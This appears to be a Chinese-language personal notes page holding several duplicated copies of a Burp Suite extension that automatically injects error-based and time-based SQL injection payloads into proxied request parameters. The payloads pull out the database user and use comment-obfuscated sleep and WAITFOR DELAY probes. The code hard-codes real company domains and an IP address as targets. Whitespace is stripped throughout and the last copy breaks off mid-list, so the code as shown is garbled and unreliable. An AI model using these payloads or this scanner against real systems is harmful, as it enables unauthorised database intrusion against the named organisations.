拿别人的改的

 

 

 

现在的问题是,反应时间太慢,正常打开页面都要好几秒,甚至10秒

 

 

而且,占内存很大,

<<sql_ok.py>>

 

 

 

 

取参数,不取session里面的参数

forparameterinreqParameters:

parameterName,parameterValue,parameterType=self.get_parameter_Name_Value_Type(parameter)

ifparameterNameinreqHeaders[0].split('')[1]orparameterNameinreqBodys:

parameterValue+="ischange"

printparameterValue

 

 

 

forparameterinreqParameters:

parameterName,parameterValue,parameterType=self.get_parameter_Name_Value_Type(parameter)

ifparameterNameinreqHeaders[0]orparameterNameinreqBodys:

forsqlBlindinself.fuzzSQL.blind:

 

a=parameterValue+sqlBlind

#returnparameterValue

#printa

parameterBlindSQL.append([parameterName,a,parameterType])

else:

parameterBlindSQL.append([parameterName,parameterValue,parameterType])

 

 

这个可以解决不检测cookie里面的参数问题

 

 

终于好了,2.0版本

#-*-coding:utf-8-*-

#!/usr/bin/envpython

#author:xiaodong

#支持mysql的报错注入和延时注入,mssql的延时注入检测

#如果需要,可以把注释掉的sql检测语句也加入到检测里

#bool类型检测自己手动检测就行,无需脚本

from__future__importwith_statement

fromburpimportIBurpExtender

fromburpimportIHttpListener

fromburpimportIHttpRequestResponse

fromburpimportIResponseInfo

fromburpimportIRequestInfo

fromburpimportIHttpService

 

importre

importtime

importthreading

importsys

reload(sys)

sys.setdefaultencoding('UTF-8')

SLEEP_TIME=3

 

saveFile=r'H:\2.py\py_self\py3\project\burpExtend\sql.txt'

print"SQL_inject\nauthor:xiaodong"

 

classFuzzSQL:

def__init__(self):

 

#单引号,双引号,宽字节+单引号,宽字节+双引号,反斜杠,负数,特殊字符,and,or,xor探测是否存在注入!!!

self.error=["'",'"','\\','%df%27','%df%22',

'/***/and/***/(select/***/1/***/from(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.character_sets/***/group/***/by/***/x)a)--+',

"'/***/and/***/(select/***/1/***/from(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.character_sets/***/group/***/by/***/x)a)--+",

'"/***/and/***/(select/***/1/***/from(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.character_sets/***/group/***/by/***/x)a)--+'

 

#'/***/and/***/(select/***/1/***/from/***/(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))b/***/from/***/information_schema.tables/***/group/***/by/***/b)a)--+',

#"'/***/and/***/(select/***/1/***/from/***/(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))b/***/from/***/information_schema.tables/***/group/***/by/***/b)a)--+",

#'"/***/and/***/(select/***/1/***/from/***/(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))b/***/from/***/information_schema.tables/***/group/***/by/***/b)a)--+',

#

#'/***/union/***/select/***/count(*),1,concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.tables/***/group/***/by/***/x/***/--+',

#"'/***/union/***/select/***/count(*),1,concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.tables/***/group/***/by/***/x/***/--+",

#'"/***/union/***/select/***/count(*),1,concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.tables/***/group/***/by/***/x/***/--+',

#

#'/***/and/***/(updatexml(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e),1))--+',

#"'/***/and/***/(updatexml(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e),1))--+",

#'"/***/and/***/(updatexml(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e),1))--+',

#

#'/***/and/***/(extractvalue(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e)))--+',

#'"/***/and/***/(extractvalue(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e)))--+',

#"'/***/and/***/(extractvalue(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e)))--+"

]

 

 

self.blind=['/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/{},/***/0/***/)/***/)%23'.format(SLEEP_TIME),

"'/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/{},/***/0/***/)/***/)%23".format(SLEEP_TIME),

'"/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/{},/***/0/***/)/***/)%23'.format(SLEEP_TIME),

 

#'/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+',

#"'/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+",

#'"/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+',

 

'/***/WAITFOR/***/DELAY/***/"0:0:{}"--+'.format(SLEEP_TIME),

"'/***/WAITFOR/***/DELAY/***/'0:0:{}'--+".format(SLEEP_TIME),

'"/***/WAITFOR/***/DELAY/***/"0:0:{}"--+'.format(SLEEP_TIME)

 

 

 

#';WAITFOR/***/DELAY/***/"0:0:10"--+',

#"';WAITFOR/***/DELAY/***/'0:0:10'--+",

#'";WAITFOR/***/DELAY/***/"0:0:10"--+',

#

#');WAITFOR/***/DELAY/***/"0:0:10"--+',

#"');WAITFOR/***/DELAY/***/'0:0:10'--+",

#'");WAITFOR/***/DELAY/***/"0:0:10"--+'

]

 

#报错注入的特征

self.errorFlag=re.compile(r'.*(SQLsyntax|Warning|mysql_error|\^\^\^).*')

 

classBurpExtender(IBurpExtender,IHttpListener):

globalurls

urls=[]

defregisterExtenderCallbacks(self,callbacks):

 

self._callbacks=callbacks

 

#用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。

self._helpers=callbacks.getHelpers()

 

#用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name-扩展名。。

self._callbacks.setExtensionName("SQLInject")

 

#用于注册侦听器,该侦听器将通知任何Burp工具发出的请求和响应。扩展可以通过注册HTTP侦听器来执行自定义分析或修改这些消息。参数:listener-实现IHttpListener接口的扩展创建的对象。

callbacks.registerHttpListener(self)

 

self.fuzzSQL=FuzzSQL()

 

#获取请求的url

defget_request_url(self,protocol,reqHeaders):

link=reqHeaders[0].split('')[1]

host=reqHeaders[1].split('')[1]

returnprotocol+'://'+host+link

 

#保存结果

defsave(self,content):

printcontent

f=open(saveFile,'at')

f.writelines(content+'\n\n')

f.close()

 

#获取请求的一些信息:请求头,请求内容,请求方法,请求参数

defget_request_info(self,request):

analyzedRequest=self._helpers.analyzeRequest(

request)#analyzeRequest用于分析HTTP请求,并获取有关它的各种关键详细信息。生成的IRequestInfo对象

reqHeaders=analyzedRequest.getHeaders()#用于获取请求中包含的HTTP头。返回:请求中包含的HTTP标头。

reqBodys=request[analyzedRequest.getBodyOffset():].tostring()#获取消息正文开始的请求中的偏移量。返回:消息正文开始的请求中的偏移量。

reqMethod=analyzedRequest.getMethod()#获取请求方法

reqParameters=analyzedRequest.getParameters()

returnanalyzedRequest,reqHeaders,reqBodys,reqMethod,reqParameters

 

#获取响应的一些信息:响应头,响应内容,响应状态码

defget_response_info(self,response):

analyzedResponse=self._helpers.analyzeResponse(

response)#analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。

resHeaders=analyzedResponse.getHeaders()#getHeaders方法用于获取响应中包含的HTTP标头。返回:响应中包含的HTTP标头。

resBodys=response[

analyzedResponse.getBodyOffset():].tostring()#getBodyOffset方法用于获取消息正文开始的响应中的偏移量。返回:消息正文开始的响应中的偏移量。response[analyzedResponse.getBodyOffset():]获取正文内容

resStatusCode=analyzedResponse.getStatusCode()#getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。

returnresHeaders,resBodys,resStatusCode

 

#获取服务端的信息,主机地址,端口,协议

defget_server_info(self,httpService):

host=httpService.getHost()

port=httpService.getPort()

protocol=httpService.getProtocol()

ishttps=False

ifprotocol=='https':

ishttps=True

returnhost,port,protocol,ishttps

 

#获取请求的参数名、参数值、参数类型(get、post、cookie->用来构造参数时使用)

defget_parameter_Name_Value_Type(self,parameter):

parameterName=parameter.getName()

parameterValue=parameter.getValue()

parameterType=parameter.getType()

returnparameterName,parameterValue,parameterType

 

#检查是否存在报错注入

defcheck_error_inject(self,request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType):

thread_id=threading.current_thread().ident

#print'['+str(thread_id)+']'+parameterValueSQL

#构造参数

newParameter=self._helpers.buildParameter(parameterName,parameterValueSQL,parameterType)

#printnewParameter

#更新参数,并发送请求

newRequest=self._helpers.updateParameter(request,newParameter)

newAnalyzedRequest,newReqHeaders,newReqBodys,newReqMethod,newReqParameters=self.get_request_info(

newRequest)

 

#新的响应

newResponse=self._callbacks.makeHttpRequest(host,port,ishttps,newRequest)

newResHeaders,newResBodys,newResStatusCode=self.get_response_info(newResponse)

 

#判断是否存在报错注入的特征

errorInject=self.fuzzSQL.errorFlag.findall(newResBodys)

 

iferrorInject:

#获取请求的url

newReqUrl=self.get_request_url(protocol,newReqHeaders)

content='[+]{}->{}\n[Headers]->{}\n[Bodys]->{}'.format('[Error]',errorInject,newReqUrl,newReqHeaders,newReqBodys)

printcontent

#self.save(content)

print'-'*50

 

#检测是否存在延时注入

defcheck_blind_inject(self,request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType):

thread_id=threading.current_thread().ident

#print'['+str(thread_id)+']'+parameterValueSQL

#构造参数

newParameter=self._helpers.buildParameter(parameterName,parameterValueSQL,parameterType)

#printnewParameter

#起始时间

startTime=time.time()

#更新参数,并发送请求

newRequest=self._helpers.updateParameter(request,newParameter)

 

newAnalyzedRequest,newReqHeaders,newReqBodys,newReqMethod,newReqParameters=self.get_request_info(

newRequest)

 

#新的响应

newResponse=self._callbacks.makeHttpRequest(host,port,ishttps,newRequest)

newResHeaders,newResBodys,newResStatusCode=self.get_response_info(newResponse)

 

endTime=time.time()

sleepTime=endTime-startTime

#printsleepTime

#判断是否延时

ifsleepTime>=SLEEP_TIME:

#获取请求的url

newReqUrl=self.get_request_url(protocol,newReqHeaders)

content='[+]{}->{}\n[Headers]->{}\n[Bodys]->{}'.format('[Blind]',newReqUrl,newReqHeaders,newReqBodys)

printcontent

self.save(content)

print'-'*50

 

#每次burp发送请求时,都会调用该方法

defprocessHttpMessage(self,toolFlag,messageIsRequest,messageInfo):

'''

:paramtoolFlag:一个标志,指示发出请求的Burp工具。Burp工具标志在IBurpExtenderCallbacks界面中定义

:parammessageIsRequest:标记是否为请求或响应调用方法。

:parammessageInfo:要处理的请求/响应的详细信息。扩展可以调用此对象上的setter方法来更新当前消息,从而修改Burp的行为。

:return:

'''

 

#Proxy和Repeater触发插件

iftoolFlag==64ortoolFlag==16ortoolFlag==8ortoolFlag==4:

 

#处理响应内容

ifnotmessageIsRequest:

 

#获取请求包的数据

request=messageInfo.getRequest()

analyzedRequest,reqHeaders,reqBodys,reqMethod,reqParameters=self.get_request_info(request)

 

#获取响应包的数据

#response=messageInfo.getResponse()#getResponse方法用于检索请求消息。返回:响应消息。

#resHeaders,resBodys,resStatusCode=self.get_response_info(response)

 

#获取服务信息

httpService=messageInfo.getHttpService()

host,port,protocol,ishttps=self.get_server_info(httpService)

 

#获取请求的url

#reqUrl=self.get_request_url(protocol,reqHeaders)

 

#ifreqMethod=='GET':

iflen(host.split('.')[-2])!=3:

host_exp=host.split('.')[-2]+'.'+host.split('.')[-1]

else:

host_exp=host.split('.')[-3]+'.'+host.split('.')[-2]+'.'+host.split('.')[-1]

#printhost_exp

#获取请求的url

#reqUrl=self.get_request_url(protocol,reqHeaders)

url=str(host)+reqHeaders[0].split('')[1]+str(reqBodys)

#printurl

#ifreqMethod=='GET':

target_host=['saicmotor.com','saicmaxus.com','']

target_ip=['149.28.232.77']

ifurlnotinurls:

#printurl

urls.append(url)

ifhost_expintarget_hostorhostintarget_ip:

ifreqHeaders[0].split('')[1].endswith('.js')orreqHeaders[0].split('')[1].endswith('.css')orreqHeaders[0].split('')[1].endswith('.jpg')orreqHeaders[0].split('')[1].endswith('.png')orreqHeaders[0].split('')[1].endswith('.gif')orreqHeaders[0].split('')[1].endswith('.woff?'):

#print"staticsource"

pass

 

else:

error_threads=[]

parameterErrorSQL=[]#报错语句列表

forparameterinreqParameters:

parameterName,parameterValue,parameterType=self.get_parameter_Name_Value_Type(parameter)

ifparameterNameinreqHeaders[0]orparameterNameinreqBodys:

forsqlErrorinself.fuzzSQL.error:

 

a=parameterValue+sqlError

#returnparameterValue

#printa

parameterErrorSQL.append([parameterName,a,parameterType])

else:

parameterErrorSQL.append([parameterName,parameterValue,parameterType])

forsqlErrorinparameterErrorSQL:

parameterName,parameterValueSQL,parameterType=sqlError

t=threading.Thread(target=self.check_error_inject,args=(request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType))

error_threads.append(t)

t.start()

fortinerror_threads:

t.join()

 

#多线程遍历每个延时注入

blind_threads=[]

parameterBlindSQL=[]

forparameterinreqParameters:

parameterName,parameterValue,parameterType=self.get_parameter_Name_Value_Type(parameter)

ifparameterNameinreqHeaders[0]orparameterNameinreqBodys:#如果参数在url或body里面,则增加sql注入语句

forsqlBlindinself.fuzzSQL.blind:

 

a=parameterValue+sqlBlind

#returnparameterValue

#printa

parameterBlindSQL.append([parameterName,a,parameterType])

else:

parameterBlindSQL.append([parameterName,parameterValue,parameterType])

 

forsqlBlindinparameterBlindSQL:

parameterName,parameterValueSQL,parameterType=sqlBlind

t=threading.Thread(target=self.check_blind_inject,args=(request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType))

blind_threads.append(t)

t.start()

fortinblind_threads:

t.join()

 

else:

print"isarepeaturl"

 

 

 

问题,还是会比较卡,参数多的页面要七八秒。。。。

#-*-coding:utf-8-*-

#!/usr/bin/envpython

#author:xiaodong

#支持mysql的报错注入和延时注入,mssql的延时注入检测

#如果需要,可以把注释掉的sql检测语句也加入到检测里

#bool类型检测自己手动检测就行,无需脚本

from__future__importwith_statement

fromburpimportIBurpExtender

fromburpimportIHttpListener

fromburpimportIHttpRequestResponse

fromburpimportIResponseInfo

fromburpimportIRequestInfo

fromburpimportIHttpService

 

importre

importtime

importthreading

importsys

reload(sys)

sys.setdefaultencoding('UTF-8')

SLEEP_TIME=3

 

saveFile=r'H:\2.py\py_self\py3\project\burpExtend\sql.txt'

print"SQL_inject\nauthor:xiaodong"

 

classFuzzSQL:

def__init__(self):

 

#单引号,双引号,宽字节+单引号,宽字节+双引号,反斜杠,负数,特殊字符,and,or,xor探测是否存在注入!!!

self.error=["'",'"','\\','%df%27','%df%22',

'/***/and/***/(select/***/1/***/from(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.character_sets/***/group/***/by/***/x)a)--+',

"'/***/and/***/(select/***/1/***/from(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.character_sets/***/group/***/by/***/x)a)--+",

'"/***/and/***/(select/***/1/***/from(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.character_sets/***/group/***/by/***/x)a)--+'

 

#'/***/and/***/(select/***/1/***/from/***/(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))b/***/from/***/information_schema.tables/***/group/***/by/***/b)a)--+',

#"'/***/and/***/(select/***/1/***/from/***/(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))b/***/from/***/information_schema.tables/***/group/***/by/***/b)a)--+",

#'"/***/and/***/(select/***/1/***/from/***/(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))b/***/from/***/information_schema.tables/***/group/***/by/***/b)a)--+',

#

#'/***/union/***/select/***/count(*),1,concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.tables/***/group/***/by/***/x/***/--+',

#"'/***/union/***/select/***/count(*),1,concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.tables/***/group/***/by/***/x/***/--+",

#'"/***/union/***/select/***/count(*),1,concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.tables/***/group/***/by/***/x/***/--+',

#

#'/***/and/***/(updatexml(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e),1))--+',

#"'/***/and/***/(updatexml(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e),1))--+",

#'"/***/and/***/(updatexml(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e),1))--+',

#

#'/***/and/***/(extractvalue(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e)))--+',

#'"/***/and/***/(extractvalue(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e)))--+',

#"'/***/and/***/(extractvalue(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e)))--+"

]

 

 

self.blind=['/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/{},/***/0/***/)/***/)%23'.format(SLEEP_TIME),

"'/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/{},/***/0/***/)/***/)%23".format(SLEEP_TIME),

'"/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/{},/***/0/***/)/***/)%23'.format(SLEEP_TIME),

 

#'/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+',

#"'/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+",

#'"/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+',

 

'/***/WAITFOR/***/DELAY/***/"0:0:{}"--+'.format(SLEEP_TIME),

"'/***/WAITFOR/***/DELAY/***/'0:0:{}'--+".format(SLEEP_TIME),

'"/***/WAITFOR/***/DELAY/***/"0:0:{}"--+'.format(SLEEP_TIME)

 

 

 

#';WAITFOR/***/DELAY/***/"0:0:10"--+',

#"';WAITFOR/***/DELAY/***/'0:0:10'--+",

#'";WAITFOR/***/DELAY/***/"0:0:10"--+',

#

#');WAITFOR/***/DELAY/***/"0:0:10"--+',

#"');WAITFOR/***/DELAY/***/'0:0:10'--+",

#'");WAITFOR/***/DELAY/***/"0:0:10"--+'

]

 

#报错注入的特征

self.errorFlag=re.compile(r'.*(SQLsyntax|Warning|mysql_error|\^\^\^).*')

 

classBurpExtender(IBurpExtender,IHttpListener):

globalurls

urls=[]

defregisterExtenderCallbacks(self,callbacks):

 

self._callbacks=callbacks

 

#用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。

self._helpers=callbacks.getHelpers()

 

#用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name-扩展名。。

self._callbacks.setExtensionName("SQLInject")

 

#用于注册侦听器,该侦听器将通知任何Burp工具发出的请求和响应。扩展可以通过注册HTTP侦听器来执行自定义分析或修改这些消息。参数:listener-实现IHttpListener接口的扩展创建的对象。

callbacks.registerHttpListener(self)

 

self.fuzzSQL=FuzzSQL()

 

#获取请求的url

defget_request_url(self,protocol,reqHeaders):

link=reqHeaders[0].split('')[1]

host=reqHeaders[1].split('')[1]

returnprotocol+'://'+host+link

 

#保存结果

defsave(self,content):

printcontent

f=open(saveFile,'at')

f.writelines(content+'\n\n')

f.close()

 

#获取请求的一些信息:请求头,请求内容,请求方法,请求参数

defget_request_info(self,request):

analyzedRequest=self._helpers.analyzeRequest(

request)#analyzeRequest用于分析HTTP请求,并获取有关它的各种关键详细信息。生成的IRequestInfo对象

reqHeaders=analyzedRequest.getHeaders()#用于获取请求中包含的HTTP头。返回:请求中包含的HTTP标头。

reqBodys=request[analyzedRequest.getBodyOffset():].tostring()#获取消息正文开始的请求中的偏移量。返回:消息正文开始的请求中的偏移量。

reqMethod=analyzedRequest.getMethod()#获取请求方法

reqParameters=analyzedRequest.getParameters()

returnanalyzedRequest,reqHeaders,reqBodys,reqMethod,reqParameters

 

#获取响应的一些信息:响应头,响应内容,响应状态码

defget_response_info(self,response):

analyzedResponse=self._helpers.analyzeResponse(

response)#analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。

resHeaders=analyzedResponse.getHeaders()#getHeaders方法用于获取响应中包含的HTTP标头。返回:响应中包含的HTTP标头。

resBodys=response[

analyzedResponse.getBodyOffset():].tostring()#getBodyOffset方法用于获取消息正文开始的响应中的偏移量。返回:消息正文开始的响应中的偏移量。response[analyzedResponse.getBodyOffset():]获取正文内容

resStatusCode=analyzedResponse.getStatusCode()#getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。

returnresHeaders,resBodys,resStatusCode

 

#获取服务端的信息,主机地址,端口,协议

defget_server_info(self,httpService):

host=httpService.getHost()

port=httpService.getPort()

protocol=httpService.getProtocol()

ishttps=False

ifprotocol=='https':

ishttps=True

returnhost,port,protocol,ishttps

 

#获取请求的参数名、参数值、参数类型(get、post、cookie->用来构造参数时使用)

defget_parameter_Name_Value_Type(self,parameter):

parameterName=parameter.getName()

parameterValue=parameter.getValue()

parameterType=parameter.getType()

returnparameterName,parameterValue,parameterType

 

#检查是否存在报错注入

defcheck_error_inject(self,request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType):

thread_id=threading.current_thread().ident

#print'['+str(thread_id)+']'+parameterValueSQL

#构造参数

newParameter=self._helpers.buildParameter(parameterName,parameterValueSQL,parameterType)

#printnewParameter

#更新参数,并发送请求

newRequest=self._helpers.updateParameter(request,newParameter)

newAnalyzedRequest,newReqHeaders,newReqBodys,newReqMethod,newReqParameters=self.get_request_info(

newRequest)

 

#新的响应

newResponse=self._callbacks.makeHttpRequest(host,port,ishttps,newRequest)

newResHeaders,newResBodys,newResStatusCode=self.get_response_info(newResponse)

 

#判断是否存在报错注入的特征

errorInject=self.fuzzSQL.errorFlag.findall(newResBodys)

 

iferrorInject:

#获取请求的url

newReqUrl=self.get_request_url(protocol,newReqHeaders)

content='[+]{}->{}\n[Headers]->{}\n[Bodys]->{}'.format('[Error]',errorInject,newReqUrl,newReqHeaders,newReqBodys)

printcontent

#self.save(content)

print'-'*50

 

#检测是否存在延时注入

defcheck_blind_inject(self,request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType):

thread_id=threading.current_thread().ident

#print'['+str(thread_id)+']'+parameterValueSQL

#构造参数

newParameter=self._helpers.buildParameter(parameterName,parameterValueSQL,parameterType)

#printnewParameter

#起始时间

startTime=time.time()

#更新参数,并发送请求

newRequest=self._helpers.updateParameter(request,newParameter)

 

newAnalyzedRequest,newReqHeaders,newReqBodys,newReqMethod,newReqParameters=self.get_request_info(

newRequest)

 

#新的响应

newResponse=self._callbacks.makeHttpRequest(host,port,ishttps,newRequest)

newResHeaders,newResBodys,newResStatusCode=self.get_response_info(newResponse)

 

endTime=time.time()

sleepTime=endTime-startTime

#printsleepTime

#判断是否延时

ifsleepTime>=SLEEP_TIME:

#获取请求的url

newReqUrl=self.get_request_url(protocol,newReqHeaders)

content='[+]{}->{}\n[Headers]->{}\n[Bodys]->{}'.format('[Blind]',newReqUrl,newReqHeaders,newReqBodys)

printcontent

self.save(content)

print'-'*50

 

#每次burp发送请求时,都会调用该方法

defprocessHttpMessage(self,toolFlag,messageIsRequest,messageInfo):

'''

:paramtoolFlag:一个标志,指示发出请求的Burp工具。Burp工具标志在IBurpExtenderCallbacks界面中定义

:parammessageIsRequest:标记是否为请求或响应调用方法。

:parammessageInfo:要处理的请求/响应的详细信息。扩展可以调用此对象上的setter方法来更新当前消息,从而修改Burp的行为。

:return:

'''

 

#Proxy和Repeater触发插件

iftoolFlag==64ortoolFlag==16ortoolFlag==8ortoolFlag==4:

 

#处理响应内容

ifnotmessageIsRequest:

 

#获取请求包的数据

request=messageInfo.getRequest()

analyzedRequest,reqHeaders,reqBodys,reqMethod,reqParameters=self.get_request_info(request)

 

#获取响应包的数据

#response=messageInfo.getResponse()#getResponse方法用于检索请求消息。返回:响应消息。

#resHeaders,resBodys,resStatusCode=self.get_response_info(response)

 

#获取服务信息

httpService=messageInfo.getHttpService()

host,port,protocol,ishttps=self.get_server_info(httpService)

 

#获取请求的url

#reqUrl=self.get_request_url(protocol,reqHeaders)

 

#ifreqMethod=='GET':

iflen(host.split('.')[-2])!=3:

host_exp=host.split('.')[-2]+'.'+host.split('.')[-1]

else:

host_exp=host.split('.')[-3]+'.'+host.split('.')[-2]+'.'+host.split('.')[-1]

#printhost_exp

#获取请求的url

#reqUrl=self.get_request_url(protocol,reqHeaders)

url=str(host)+reqHeaders[0].split('')[1]+str(reqBodys)

#printurl

#ifreqMethod=='GET':

target_host=['saicmotor.com','saicmaxus.com','']

target_ip=['149.28.232.77']

ifurlnotinurls:

#printurl

urls.append(url)

ifhost_expintarget_hostorhostintarget_ip:

ifreqHeaders[0].split('')[1].endswith('.js')orreqHeaders[0].split('')[1].endswith('.css')orreqHeaders[0].split('')[1].endswith('.jpg')orreqHeaders[0].split('')[1].endswith('.png')orreqHeaders[0].split('')[1].endswith('.gif')orreqHeaders[0].split('')[1].endswith('.woff?'):

#print"staticsource"

pass

 

else:

error_threads=[]

parameterErrorSQL=[]#报错语句列表

forparameterinreqParameters:

parameterName,parameterValue,parameterType=self.get_parameter_Name_Value_Type(parameter)

ifparameterNameinreqHeaders[0]orparameterNameinreqBodys:

forsqlErrorinself.fuzzSQL.error:

 

a=parameterValue+sqlError

#returnparameterValue

#printa

parameterErrorSQL.append([parameterName,a,parameterType])

else:

parameterErrorSQL.append([parameterName,parameterValue,parameterType])

forsqlErrorinparameterErrorSQL:

parameterName,parameterValueSQL,parameterType=sqlError

t=threading.Thread(target=self.check_error_inject,args=(request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType))

error_threads.append(t)

t.start()

fortinerror_threads:

t.join()

 

#多线程遍历每个延时注入

blind_threads=[]

parameterBlindSQL=[]

forparameterinreqParameters:

parameterName,parameterValue,parameterType=self.get_parameter_Name_Value_Type(parameter)

ifparameterNameinreqHeaders[0]orparameterNameinreqBodys:#如果参数在url或body里面,则增加sql注入语句

forsqlBlindinself.fuzzSQL.blind:

 

a=parameterValue+sqlBlind

#returnparameterValue

#printa

parameterBlindSQL.append([parameterName,a,parameterType])

else:

parameterBlindSQL.append([parameterName,parameterValue,parameterType])

 

forsqlBlindinparameterBlindSQL:

parameterName,parameterValueSQL,parameterType=sqlBlind

t=threading.Thread(target=self.check_blind_inject,args=(request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType))

blind_threads.append(t)

t.start()

fortinblind_threads:

t.join()

 

else:

print"isarepeaturl"

 

 

 

 

<<sql_inject.py>>

 

#-*-coding:utf-8-*-

#!/usr/bin/envpython

#author:ske

#支持mysql的报错注入和延时注入,mssql的延时注入检测

#如果需要,可以把注释掉的sql检测语句也加入到检测里

#bool类型检测自己手动检测就行,无需脚本

from__future__importwith_statement

fromburpimportIBurpExtender

fromburpimportIHttpListener

fromburpimportIHttpRequestResponse

fromburpimportIResponseInfo

fromburpimportIRequestInfo

fromburpimportIHttpService

 

importre

importtime

importthreading

importsys

reload(sys)

sys.setdefaultencoding('UTF-8')

SLEEP_TIME=3

 

saveFile=r'H:\2.py\py_self\py3\project\burpExtend\sql.txt'

print"checkSQL\nauthor:ske"

 

classFuzzSQL:

def__init__(self):

 

#单引号,双引号,宽字节+单引号,宽字节+双引号,反斜杠,负数,特殊字符,and,or,xor探测是否存在注入!!!

self.error=["'",'"','\\','%df%27','%df%22',

'/***/and/***/(select/***/1/***/from(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.character_sets/***/group/***/by/***/x)a)--+',

"'/***/and/***/(select/***/1/***/from(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.character_sets/***/group/***/by/***/x)a)--+",

'"/***/and/***/(select/***/1/***/from(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.character_sets/***/group/***/by/***/x)a)--+'

 

#'/***/and/***/(select/***/1/***/from/***/(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))b/***/from/***/information_schema.tables/***/group/***/by/***/b)a)--+',

#"'/***/and/***/(select/***/1/***/from/***/(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))b/***/from/***/information_schema.tables/***/group/***/by/***/b)a)--+",

#'"/***/and/***/(select/***/1/***/from/***/(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))b/***/from/***/information_schema.tables/***/group/***/by/***/b)a)--+',

#

#'/***/union/***/select/***/count(*),1,concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.tables/***/group/***/by/***/x/***/--+',

#"'/***/union/***/select/***/count(*),1,concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.tables/***/group/***/by/***/x/***/--+",

#'"/***/union/***/select/***/count(*),1,concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.tables/***/group/***/by/***/x/***/--+',

#

#'/***/and/***/(updatexml(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e),1))--+',

